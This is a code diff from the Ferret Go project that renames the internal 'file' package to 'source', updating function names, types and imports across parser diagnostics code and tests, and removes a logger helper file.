    @@ -5,15 +5,15 @@ import (
     
     	. "github.com/smartystreets/goconvey/convey"
     
    -	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
     )
     
     func TestAnalyzeSyntaxError(t *testing.T) {
     	Convey("AnalyzeSyntaxError", t, func() {
     		Convey("Should return boolean for basic syntax error", func() {
    -			src := file.NewSource("test.fql", "LET x =")
    +			src := source.New("test.fql", "LET x =")
     
     			err := &diagnostics.Diagnostic{
     				Kind:    SyntaxError,
    @@ -32,7 +32,7 @@ func TestAnalyzeSyntaxError(t *testing.T) {
     		})
     
     		Convey("Should handle different matcher types", func() {
    -			src := file.NewSource("test.fql", "RETURN")
    +			src := source.New("test.fql", "RETURN")
     
     			// Test different types of syntax errors that should trigger different matchers
     			testCases := []struct {
    @@ -79,7 +79,7 @@ func TestAnalyzeSyntaxError(t *testing.T) {
     		})
     
     		Convey("Should return false when no matcher matches", func() {
    -			src := file.NewSource("test.fql", "LET x = 1")
    +			src := source.New("test.fql", "LET x = 1")
     
     			err := &diagnostics.Diagnostic{
     				Kind:    SyntaxError,
    
  • pkg/parser/diagnostics/error_listener.go+4 4 modified
    @@ -3,19 +3,19 @@ package diagnostics
     import (
     	"github.com/antlr4-go/antlr/v4"
     
    -	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
     )
     
     type ErrorListener struct {
     	*antlr.DiagnosticErrorListener
    -	src     *file.Source
    +	src     *source.Source
     	handler *ErrorHandler
     	history *TokenHistory
     }
     
    -func NewErrorListener(src *file.Source, handler *ErrorHandler, history *TokenHistory) antlr.ErrorListener {
    +func NewErrorListener(src *source.Source, handler *ErrorHandler, history *TokenHistory) antlr.ErrorListener {
     	return &ErrorListener{
     		DiagnosticErrorListener: antlr.NewDiagnosticErrorListener(false),
     		src:                     src,
    
  • pkg/parser/diagnostics/errors.go+5 5 modified
    @@ -2,7 +2,7 @@ package diagnostics
     
     import (
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     const (
    @@ -11,25 +11,25 @@ const (
     	SemanticError diagnostics.Kind = "SemanticError"
     )
     
    -func NewError(src *file.Source, kind diagnostics.Kind, message string) *diagnostics.Diagnostic {
    +func NewError(src *source.Source, kind diagnostics.Kind, message string) *diagnostics.Diagnostic {
     	return &diagnostics.Diagnostic{
     		Message: message,
     		Source:  src,
     		Kind:    kind,
     	}
     }
     
    -func NewUnexpectedError(src *file.Source, message string) *diagnostics.Diagnostic {
    +func NewUnexpectedError(src *source.Source, message string) *diagnostics.Diagnostic {
     	return NewError(src, diagnostics.UnexpectedError, message)
     }
     
    -func NewUnexpectedErrorWith(src *file.Source, message string, cause error) *diagnostics.Diagnostic {
    +func NewUnexpectedErrorWith(src *source.Source, message string, cause error) *diagnostics.Diagnostic {
     	e := NewUnexpectedError(src, message)
     	e.Cause = cause
     
     	return e
     }
     
    -func NewEmptyQueryError(src *file.Source) *diagnostics.Diagnostic {
    +func NewEmptyQueryError(src *source.Source) *diagnostics.Diagnostic {
     	return NewError(src, SyntaxError, "Query is empty")
     }
    
  • pkg/parser/diagnostics/error_test.go+4 4 modified
    @@ -5,9 +5,9 @@ import (
     
     	. "github.com/smartystreets/goconvey/convey"
     
    -	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
     )
     
     func TestCompilationError(t *testing.T) {
    @@ -23,15 +23,15 @@ func TestCompilationError(t *testing.T) {
     		})
     
     		Convey("Format() should format error with all components", func() {
    -			src := file.NewSource("test.fql", "LET x = 1")
    +			src := source.New("test.fql", "LET x = 1")
     
     			err := &diagnostics.Diagnostic{
     				Kind:    SyntaxError,
     				Message: "test error message",
     				Hint:    "test hint",
     				Source:  src,
     				Spans: []diagnostics.ErrorSpan{
    -					diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 5}, "test label"),
    +					diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 5}, "test label"),
     				},
     			}
     
    
  • pkg/parser/diagnostics/handler.go+4 4 modified
    @@ -5,19 +5,19 @@ import (
     
     	"github.com/antlr4-go/antlr/v4"
     
    -	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
     )
     
     type ErrorHandler struct {
    -	src             *file.Source
    +	src             *source.Source
     	errors          *diagnostics.Diagnostics[*diagnostics.Diagnostic]
     	linesWithErrors map[int]bool
     	threshold       int
     }
     
    -func NewErrorHandler(src *file.Source, threshold int) *ErrorHandler {
    +func NewErrorHandler(src *source.Source, threshold int) *ErrorHandler {
     	if threshold <= 0 {
     		threshold = 10
     	}
    
  • pkg/parser/diagnostics/handler_test.go+9 9 modified
    @@ -5,12 +5,12 @@ import (
     	"testing"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     // Simple handler tests without complex ANTLR dependencies
     func TestErrorHandler_BasicOperations(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     
     	// Test NewErrorHandler with various thresholds
     	handler1 := NewErrorHandler(src, 5)
    @@ -48,7 +48,7 @@ func TestErrorHandler_BasicOperations(t *testing.T) {
     }
     
     func TestErrorHandler_AddNilError(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     	handler := NewErrorHandler(src, 10)
     
     	// Adding nil error should be ignored
    @@ -60,15 +60,15 @@ func TestErrorHandler_AddNilError(t *testing.T) {
     }
     
     func TestErrorHandler_AddSingleError(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     	handler := NewErrorHandler(src, 10)
     
     	err := &diagnostics.Diagnostic{
     		Kind:    SyntaxError,
     		Message: "test error",
     		Source:  src,
     		Spans: []diagnostics.ErrorSpan{
    -			diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 3}, ""),
    +			diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 3}, ""),
     		},
     	}
     
    @@ -96,7 +96,7 @@ func TestErrorHandler_AddSingleError(t *testing.T) {
     }
     
     func TestErrorHandler_AddMultipleErrors(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     	handler := NewErrorHandler(src, 10)
     
     	err1 := &diagnostics.Diagnostic{
    @@ -133,7 +133,7 @@ func TestErrorHandler_AddMultipleErrors(t *testing.T) {
     }
     
     func TestErrorHandler_HasErrorOnLine(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1\nRETURN x") // 2 lines
    +	src := source.New("test.fql", "LET x = 1\nRETURN x") // 2 lines
     	handler := NewErrorHandler(src, 10)
     
     	// Initially no errors on any line
    @@ -147,7 +147,7 @@ func TestErrorHandler_HasErrorOnLine(t *testing.T) {
     		Message: "test error",
     		Source:  src,
     		Spans: []diagnostics.ErrorSpan{
    -			diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 3}, ""), // Position 0-3 is on line 1
    +			diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 3}, ""), // Position 0-3 is on line 1
     		},
     	}
     
    @@ -159,7 +159,7 @@ func TestErrorHandler_HasErrorOnLine(t *testing.T) {
     }
     
     func TestErrorHandler_ExceedThreshold(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     	handler := NewErrorHandler(src, 2) // Low threshold for testing
     
     	// Add errors up to threshold
    
  • pkg/parser/diagnostics/helpers.go+11 11 modified
    @@ -6,33 +6,33 @@ import (
     
     	"github.com/antlr4-go/antlr/v4"
     
    -	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
     )
     
    -func SpanFromRuleContext(ctx antlr.ParserRuleContext) file.Span {
    +func SpanFromRuleContext(ctx antlr.ParserRuleContext) source.Span {
     	start := ctx.GetStart()
     	stop := ctx.GetStop()
     
     	if start == nil || stop == nil {
    -		return file.Span{Start: 0, End: 0}
    +		return source.Span{Start: 0, End: 0}
     	}
     
    -	return file.Span{Start: start.GetStart(), End: stop.GetStop() + 1}
    +	return source.Span{Start: start.GetStart(), End: stop.GetStop() + 1}
     }
     
    -func SpanFromToken(tok antlr.Token) file.Span {
    +func SpanFromToken(tok antlr.Token) source.Span {
     	if tok == nil {
    -		return file.Span{Start: 0, End: 0}
    +		return source.Span{Start: 0, End: 0}
     	}
     
    -	return file.Span{Start: tok.GetStart(), End: tok.GetStop() + 1}
    +	return source.Span{Start: tok.GetStart(), End: tok.GetStop() + 1}
     }
     
    -func spanFromTokenSafe(tok antlr.Token, src *file.Source) file.Span {
    +func spanFromTokenSafe(tok antlr.Token, src *source.Source) source.Span {
     	if tok == nil {
    -		return file.Span{Start: 0, End: 1}
    +		return source.Span{Start: 0, End: 1}
     	}
     
     	start := tok.GetStart()
    @@ -56,7 +56,7 @@ func spanFromTokenSafe(tok antlr.Token, src *file.Source) file.Span {
     		start = maxLen - 1
     	}
     
    -	return file.Span{Start: start, End: end}
    +	return source.Span{Start: start, End: end}
     }
     
     func isIdentifier(node *TokenNode) bool {
    
  • pkg/parser/diagnostics/helpers_test.go+3 3 modified
    @@ -3,7 +3,7 @@ package diagnostics
     import (
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestHas(t *testing.T) {
    @@ -356,11 +356,11 @@ func TestIsValidString(t *testing.T) {
     }
     
     func TestSpanFromTokenSafe_EdgeCases(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1") // Length: 9
    +	src := source.New("test.fql", "LET x = 1") // Length: 9
     
     	// Test nil token
     	result := spanFromTokenSafe(nil, src)
    -	expected := file.Span{Start: 0, End: 1}
    +	expected := source.Span{Start: 0, End: 1}
     	if result != expected {
     		t.Errorf("spanFromTokenSafe(nil, src) = %v, want %v", result, expected)
     	}
    
  • pkg/parser/diagnostics/match_error_array_ops.go+6 6 modified
    @@ -4,11 +4,11 @@ import (
     	"fmt"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchArrayOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchArrayOperatorErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if offending == nil {
     		return false
     	}
    @@ -32,7 +32,7 @@ func matchArrayOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, off
     	return false
     }
     
    -func matchQueryOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchQueryOperatorErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if !isMismatched(err.Message) && !isMissing(err.Message) && !isNoAlternative(err.Message) {
     		return false
     	}
    @@ -127,7 +127,7 @@ func matchQueryOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, off
     	return false
     }
     
    -func matchArrayInlineReturnErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchArrayInlineReturnErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if !isArrayOperatorContext(offending) {
     		return false
     	}
    @@ -164,7 +164,7 @@ func matchArrayInlineReturnErrors(src *file.Source, err *diagnostics.Diagnostic,
     	return true
     }
     
    -func matchArrayQuestionQuantifierErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchArrayQuestionQuantifierErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if !isMismatched(err.Message) && !isMissing(err.Message) && !isNoAlternative(err.Message) {
     		return false
     	}
    @@ -196,7 +196,7 @@ func matchArrayQuestionQuantifierErrors(src *file.Source, err *diagnostics.Diagn
     	return true
     }
     
    -func matchArrayOperatorUnclosed(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchArrayOperatorUnclosed(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if !isMismatched(err.Message) && !isMissing(err.Message) && !isNoAlternative(err.Message) {
     		return false
     	}
    
  • pkg/parser/diagnostics/match_error_assignment.go+4 4 modified
    @@ -4,10 +4,10 @@ import (
     	"fmt"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchMissingAssignmentValue(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchMissingAssignmentValue(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if matchInvalidVarDiscard(src, err, offending) {
     		return true
     	}
    @@ -61,7 +61,7 @@ func matchMissingAssignmentValue(src *file.Source, err *diagnostics.Diagnostic,
     	return false
     }
     
    -func matchInvalidVarDiscard(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchInvalidVarDiscard(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if offending == nil {
     		return false
     	}
    @@ -84,7 +84,7 @@ func matchInvalidVarDiscard(src *file.Source, err *diagnostics.Diagnostic, offen
     	return true
     }
     
    -func matchAssignmentExpression(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchAssignmentExpression(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if offending == nil || (!isNoAlternative(err.Message) && !isMismatched(err.Message) && !isExtraneous(err.Message) && !isMissing(err.Message)) {
     		return false
     	}
    
  • pkg/parser/diagnostics/match_error_common.go+3 3 modified
    @@ -5,10 +5,10 @@ import (
     	"regexp"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchCommonErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchCommonErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if isNoAlternative(err.Message) || isMissing(err.Message) || isMismatched(err.Message) {
     		prev := offending.Prev()
     		if node := anyIs(prev, offending, "=>"); node != nil {
    @@ -164,7 +164,7 @@ func matchCommonErrors(src *file.Source, err *diagnostics.Diagnostic, offending
     
     	if isNoAlternative(err.Message) || isMissing(err.Message) {
     		if is(offending.Prev(), "(") {
    -			var span file.Span
    +			var span source.Span
     
     			if isKeyword(offending) {
     				span = spanFromTokenSafe(offending.Prev().Token(), src)
    
  • pkg/parser/diagnostics/match_error_for_loop.go+2 2 modified
    @@ -4,10 +4,10 @@ import (
     	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchForLoopErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchForLoopErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	prev := offending.Prev()
     
     	if eq := findPrevToken(offending, "=", 4); eq != nil && is(eq.Prev(), "COLLECT") {
    
  • pkg/parser/diagnostics/match_error_literals.go+6 6 modified
    @@ -5,8 +5,8 @@ import (
     	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func isComputedPropertyPrefix(node *TokenNode) bool {
    @@ -27,7 +27,7 @@ func isComputedPropertyPrefix(node *TokenNode) bool {
     	return false
     }
     
    -func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchLiteralErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if isUnclosedTemplateLiteral(offending) {
     		span := spanFromTokenSafe(offending.Token(), src)
     		span.Start = span.End
    @@ -68,7 +68,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending
     		isMissingOpeningQuote := len(token) > 0 && isQuote(token[len(token)-1:]) && !isValidString(token)
     
     		if isMissingClosingQuote || isMissingOpeningQuote {
    -			var span file.Span
    +			var span source.Span
     			var typeOfQuote string
     			var quote string
     
    @@ -124,7 +124,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending
     		}
     
     		if is(offending.Prev(), "[") {
    -			var span file.Span
    +			var span source.Span
     
     			if isKeyword(offending) {
     				span = spanFromTokenSafe(offending.Prev().Token(), src)
    @@ -179,7 +179,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending
     		}
     
     		if is(offending.Prev(), "{") {
    -			var span file.Span
    +			var span source.Span
     
     			if isKeyword(offending) {
     				span = spanFromTokenSafe(offending.Prev().Token(), src)
    @@ -240,7 +240,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending
     		}
     
     		if isQuote(token) {
    -			var span file.Span
    +			var span source.Span
     			var typeOfQuote string
     
     			if isKeyword(offending) {
    
  • pkg/parser/diagnostics/match_error_query.go+2 2 modified
    @@ -4,11 +4,11 @@ import (
     	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchQueryErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchQueryErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if err == nil || offending == nil {
     		return false
     	}
    
  • pkg/parser/diagnostics/match_error_return.go+2 2 modified
    @@ -4,10 +4,10 @@ import (
     	"fmt"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchMissingReturnValue(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchMissingReturnValue(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	// Prefer range-specific error when the parser trips on an incomplete range like "0.. RETURN".
     	if is(offending, "..") || is(offending.Prev(), "..") || has(err.Message, "..") {
     		span := spanFromTokenSafe(offending.Token(), src)
    
  • pkg/parser/diagnostics/match_error_waitfor.go+2 2 modified
    @@ -5,10 +5,10 @@ import (
     	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -func matchWaitForErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchWaitForErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if err == nil || offending == nil {
     		return false
     	}
    
  • pkg/parser/diagnostics/match_error_while_loop.go+13 13 modified
    @@ -6,7 +6,7 @@ import (
     	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     var invalidWhileLoopBindingPatterns = []*regexp.Regexp{
    @@ -16,12 +16,12 @@ var invalidWhileLoopBindingPatterns = []*regexp.Regexp{
     
     type whileLoopBindingMatch struct {
     	binding     string
    -	bindingSpan file.Span
    +	bindingSpan source.Span
     	headerStart int
     	skipDo      bool
     }
     
    -func matchWhileLoopErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchWhileLoopErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	if matchInvalidWhileLoopBinding(src, err, offending) {
     		return true
     	}
    @@ -37,7 +37,7 @@ func matchWhileLoopErrors(src *file.Source, err *diagnostics.Diagnostic, offendi
     	return false
     }
     
    -func matchInvalidWhileLoopBinding(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchInvalidWhileLoopBinding(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	span, ok := findInvalidWhileLoopBindingSpan(src)
     	if !ok {
     		return false
    @@ -52,9 +52,9 @@ func matchInvalidWhileLoopBinding(src *file.Source, err *diagnostics.Diagnostic,
     	return true
     }
     
    -func findInvalidWhileLoopBindingSpan(src *file.Source) (file.Span, bool) {
    +func findInvalidWhileLoopBindingSpan(src *source.Source) (source.Span, bool) {
     	if src == nil {
    -		return file.Span{}, false
    +		return source.Span{}, false
     	}
     
     	content := src.Content()
    @@ -68,7 +68,7 @@ func findInvalidWhileLoopBindingSpan(src *file.Source) (file.Span, bool) {
     
     			matches = append(matches, whileLoopBindingMatch{
     				headerStart: indexes[0],
    -				bindingSpan: file.Span{
    +				bindingSpan: source.Span{
     					Start: indexes[2],
     					End:   indexes[3],
     				},
    @@ -98,7 +98,7 @@ func findInvalidWhileLoopBindingSpan(src *file.Source) (file.Span, bool) {
     		return match.bindingSpan, true
     	}
     
    -	return file.Span{}, false
    +	return source.Span{}, false
     }
     
     func isValidWhileLoopBindingText(text string) bool {
    @@ -132,7 +132,7 @@ func isValidWhileLoopBindingText(text string) bool {
     	}
     }
     
    -func matchMissingWhileLoopCondition(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchMissingWhileLoopCondition(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	whileToken := findWhileLoopHeaderToken(offending)
     	if whileToken == nil {
     		return false
    @@ -148,7 +148,7 @@ func matchMissingWhileLoopCondition(src *file.Source, err *diagnostics.Diagnosti
     	return true
     }
     
    -func matchStandaloneWhileLoop(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func matchStandaloneWhileLoop(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	loopKind, span, ok := findStandaloneWhileLoopSpan(src, err, offending)
     	if !ok {
     		return false
    @@ -170,21 +170,21 @@ func matchStandaloneWhileLoop(src *file.Source, err *diagnostics.Diagnostic, off
     	return true
     }
     
    -func findStandaloneWhileLoopSpan(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) (string, file.Span, bool) {
    +func findStandaloneWhileLoopSpan(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) (string, source.Span, bool) {
     	whileToken := findStandaloneWhileLoopToken(offending)
     	if whileToken == nil {
     		if is(offending, "DO") && err != nil && isNoAlternative(err.Message) && has(err.Message, "do while") && !hasPrevToken(offending, "FOR", 4) {
     			return "DO WHILE", spanFromTokenSafe(offending.Token(), src), true
     		}
     
    -		return "", file.Span{}, false
    +		return "", source.Span{}, false
     	}
     
     	if is(whileToken.Prev(), "DO") {
     		doSpan := spanFromTokenSafe(whileToken.Prev().Token(), src)
     		whileSpan := spanFromTokenSafe(whileToken.Token(), src)
     
    -		return "DO WHILE", file.Span{
    +		return "DO WHILE", source.Span{
     			Start: doSpan.Start,
     			End:   whileSpan.End,
     		}, true
    
  • pkg/runtime/logger.go+0 79 removed
    @@ -1,79 +0,0 @@
    -package runtime
    -
    -import (
    -	"context"
    -	"io"
    -
    -	"github.com/rs/zerolog"
    -)
    -
    -type (
    -	LogLevel int8
    -
    -	LogSettings struct {
    -		Writer io.Writer
    -		Fields map[string]interface{}
    -		Level  LogLevel
    -	}
    -)
    -
    -const (
    -	DebugLevel LogLevel = iota
    -	InfoLevel
    -	WarnLevel
    -	ErrorLevel
    -	FatalLevel
    -	PanicLevel
    -	NoLevel
    -	Disabled
    -
    -	TraceLevel LogLevel = -1
    -)
    -
    -func ParseLogLevel(input string) (LogLevel, error) {
    -	lvl, err := zerolog.ParseLevel(input)
    -
    -	if err != nil {
    -		return NoLevel, err
    -	}
    -
    -	return LogLevel(lvl), nil
    -}
    -
    -func MustParseLogLevel(input string) LogLevel {
    -	lvl, err := zerolog.ParseLevel(input)
    -
    -	if err != nil {
    -		panic(err)
    -	}
    -
    -	return LogLevel(lvl)
    -}
    -
    -func (l LogLevel) String() string {
    -	return zerolog.Level(l).String()
    -}
    -
    -func NewLogger(opts LogSettings) zerolog.Logger {
    -	c := zerolog.New(opts.Writer).With().Timestamp()
    -
    -	for k, v := range opts.Fields {
    -		c = c.Interface(k, v)
    -	}
    -
    -	return c.Logger().Level(zerolog.Level(opts.Level))
    -}
    -
    -func WithLogger(ctx context.Context, opts LogSettings) context.Context {
    -	return NewLogger(opts).WithContext(ctx)
    -}
    -
    -func GetLogger(ctx context.Context) zerolog.Logger {
    -	found := zerolog.Ctx(ctx)
    -
    -	if found == nil {
    -		panic("logger is not set")
    -	}
    -
    -	return *found
    -}
    
  • pkg/source/helpers.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     func SkipWhitespaceForward(content string, offset int) int {
     	for offset < len(content) {
    
  • pkg/source/helpers_test.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import (
     	"testing"
    
  • pkg/source/os.go+2 2 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import "os"
     
    @@ -9,5 +9,5 @@ func Read(path string) (*Source, error) {
     		return nil, err
     	}
     
    -	return NewSource(path, string(bytes)), nil
    +	return New(path, string(bytes)), nil
     }
    
  • pkg/source/os_test.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import (
     	"os"
    
  • pkg/source/snippet.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import "strings"
     
    
  • pkg/source/snippet_test.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import (
     	"testing"
    
  • pkg/source/source.go+4 4 renamed
    @@ -1,4 +1,4 @@
    -package file
    +package source
     
     import (
     	"errors"
    @@ -21,7 +21,7 @@ type (
     	}
     )
     
    -func NewSource(name, text string) *Source {
    +func New(name, text string) *Source {
     	lines := strings.Split(text, "\n")
     
     	return &Source{
    @@ -31,8 +31,8 @@ func NewSource(name, text string) *Source {
     	}
     }
     
    -func NewAnonymousSource(text string) *Source {
    -	return NewSource("anonymous", text)
    +func NewAnonymous(text string) *Source {
    +	return New("anonymous", text)
     }
     
     func (s *Source) MarshalJSON() ([]byte, error) {
    
  • pkg/source/source_test.go+20 20 renamed
    @@ -1,18 +1,18 @@
    -package file
    +package source
     
     import (
     	"testing"
     
     	. "github.com/smartystreets/goconvey/convey"
     )
     
    -func TestNewSource(t *testing.T) {
    -	Convey("NewSource", t, func() {
    +func TestNew(t *testing.T) {
    +	Convey("New", t, func() {
     		Convey("Should create source with name and text", func() {
     			name := "test.fql"
     			text := "hello\nworld"
     
    -			source := NewSource(name, text)
    +			source := New(name, text)
     
     			So(source, ShouldNotBeNil)
     			So(source.Name(), ShouldEqual, name)
    @@ -24,7 +24,7 @@ func TestNewSource(t *testing.T) {
     			name := "empty.fql"
     			text := ""
     
    -			source := NewSource(name, text)
    +			source := New(name, text)
     
     			So(source, ShouldNotBeNil)
     			So(source.Name(), ShouldEqual, name)
    @@ -34,12 +34,12 @@ func TestNewSource(t *testing.T) {
     	})
     }
     
    -func TestNewAnonymousSource(t *testing.T) {
    -	Convey("NewAnonymousSource", t, func() {
    +func TestNewAnonymous(t *testing.T) {
    +	Convey("NewAnonymous", t, func() {
     		Convey("Should create anonymous source", func() {
     			text := "test content"
     
    -			source := NewAnonymousSource(text)
    +			source := NewAnonymous(text)
     
     			So(source, ShouldNotBeNil)
     			So(source.Name(), ShouldEqual, "anonymous")
    @@ -51,7 +51,7 @@ func TestNewAnonymousSource(t *testing.T) {
     func TestSourceName(t *testing.T) {
     	Convey("Source.Name", t, func() {
     		Convey("Should return name for valid source", func() {
    -			source := NewSource("test.fql", "content")
    +			source := New("test.fql", "content")
     
     			So(source.Name(), ShouldEqual, "test.fql")
     		})
    @@ -67,13 +67,13 @@ func TestSourceName(t *testing.T) {
     func TestSourceEmpty(t *testing.T) {
     	Convey("Source.Empty", t, func() {
     		Convey("Should return false for non-empty source", func() {
    -			source := NewSource("test.fql", "content")
    +			source := New("test.fql", "content")
     
     			So(source.Empty(), ShouldBeFalse)
     		})
     
     		Convey("Should return true for empty text", func() {
    -			source := NewSource("test.fql", "")
    +			source := New("test.fql", "")
     
     			So(source.Empty(), ShouldBeTrue)
     		})
    @@ -89,7 +89,7 @@ func TestSourceEmpty(t *testing.T) {
     func TestSourceLocationAt(t *testing.T) {
     	Convey("Source.LocationAt", t, func() {
     		Convey("Simple single line text", func() {
